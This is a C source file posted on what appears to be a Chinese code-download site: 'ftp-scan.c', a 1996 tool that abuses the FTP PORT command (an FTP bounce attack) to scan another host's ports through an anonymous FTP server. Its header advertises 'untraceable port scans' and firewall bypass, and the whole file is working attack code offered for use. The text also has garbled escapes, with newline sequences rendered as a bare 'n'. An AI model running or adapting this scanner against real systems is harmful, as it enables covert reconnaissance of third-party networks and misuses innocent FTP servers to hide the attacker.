ftp-scan.c
上传用户:jxr_002
上传日期:2007-01-05
资源大小:12k
文件大小:3k
源码类别:

扫描程序

开发平台:

Unix_Linux

  1. /*
  2.  * FTP Scan (C) 1996 Kit Knox <kit@connectnet.com>
  3.  *
  4.  * Exploits bug in FTP protocol that allows user to connect to arbritary
  5.  * IP address and port.
  6.  *
  7.  * Features: Untraceable port scans.  Bypass firewalls!
  8.  *
  9.  * Example usage:
  10.  *
  11.  * ftp-scan ftp.cdrom.com 127.0.0.1 0 1024
  12.  *
  13.  * This will scan IP 127.0.0.1 from ftp.cdrom.com from port 0 to 1024
  14.  *
  15.  */
  16. #include <stdio.h>
  17. #include <stdlib.h>
  18. #include <sys/param.h>
  19. #include <sys/socket.h>
  20. #include <netinet/in.h>
  21. #include <netdb.h>
  22. #include <stdarg.h>
  23. int sock;
  24. char line[1024];
  25. void rconnect(char *server)
  26. {
  27.   struct sockaddr_in sin;
  28.   struct hostent *hp;
  29.   hp = gethostbyname(server);
  30.   if (hp==NULL) {
  31.     printf("Unknown host: %sn",server);
  32.     exit(0);
  33.   }
  34.   bzero((char*) &sin, sizeof(sin));
  35.   bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  36.   sin.sin_family = hp->h_addrtype;
  37.   sin.sin_port = htons(21);
  38.   sock = socket(AF_INET, SOCK_STREAM, 0);
  39.   connect(sock,(struct sockaddr *) &sin, sizeof(sin));
  40. }
  41. void login(void)
  42. {
  43.   char buf[1024];
  44.   sprintf(buf,"USER ftpn");
  45.   send(sock, buf, strlen(buf),0);
  46.   sleep(1);
  47.   sprintf(buf,"PASS user@n");
  48.   send(sock, buf, strlen(buf),0);
  49. }
  50. void readln(void)
  51. {
  52.   int i,done=0,w;
  53.   char tmp[1];
  54.   sprintf(line,"");
  55.   i = 0;
  56.   while (!done) {
  57.     w=read(sock,tmp, 1, 0);
  58.     if (tmp[0] != 0) {
  59.       line[i] = tmp[0];
  60.     }
  61.     if (line[i] == 'n') {
  62.       done = 1;
  63.     }
  64.     i++;
  65.   }
  66.   line[i] = 0;
  67. }
  68. void sendln(char s[1024]) {
  69.   send(sock, s, strlen(s),0);
  70. }
  71. #define UC(b)   (((int)b)&0xff)
  72. void main(int argc, char **argv)
  73. {
  74.   char buf[1024];
  75.   int i;
  76.   u_short sport,eport;
  77.   register char *p,*a;
  78.   struct hostent *hp;
  79.   struct sockaddr_in sin;
  80.   char adr[1024];
  81.   if (argc != 5) {
  82.     printf("usage: ftp-scan ftp_server scan_host loport hiportn");
  83.     exit(-1);
  84.   }
  85.   hp = gethostbyname(argv[2]);
  86.   if (hp==NULL) {
  87.     printf("Unknown host: %sn",argv[2]);
  88.     exit(0);
  89.   }
  90.   bzero((char*) &sin, sizeof(sin));
  91.   bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  92.   rconnect(argv[1]);
  93.   /* Login anon to server */
  94.   login();
  95.   /* Make sure we are in */
  96.   for (i=0; i<200; i++) {
  97.     readln();
  98.     if (strstr(line,"230 Guest")) {
  99.       printf("%s",line);
  100.       i = 200;
  101.     }
  102.   }
  103.   a=(char *)&sin.sin_addr;
  104.   sport = atoi(argv[3]);
  105.   eport = atoi(argv[4]);
  106.   sprintf(adr,"%i,%i,%i,%i",UC(a[0]),UC(a[1]),UC(a[2]),UC(a[3]));
  107.   for (i=sport; i<eport; i++) {
  108.     sin.sin_port = htons(i);
  109.     p=(char *)&sin.sin_port;
  110.     sprintf(buf,"nPORT %s,%i,%inLISTn",adr,UC(p[0]),UC(p[1]));
  111.     sendln(buf);
  112.     sprintf(line,"");
  113.     while (!strstr(line, "150") && !strstr(line,"425")) {
  114.       readln();
  115.     }
  116.     if (strstr(line,"150")) {
  117.       printf("%i connected.n",i);
  118.     }
  119.   }
  120.   close(sock);
  121. }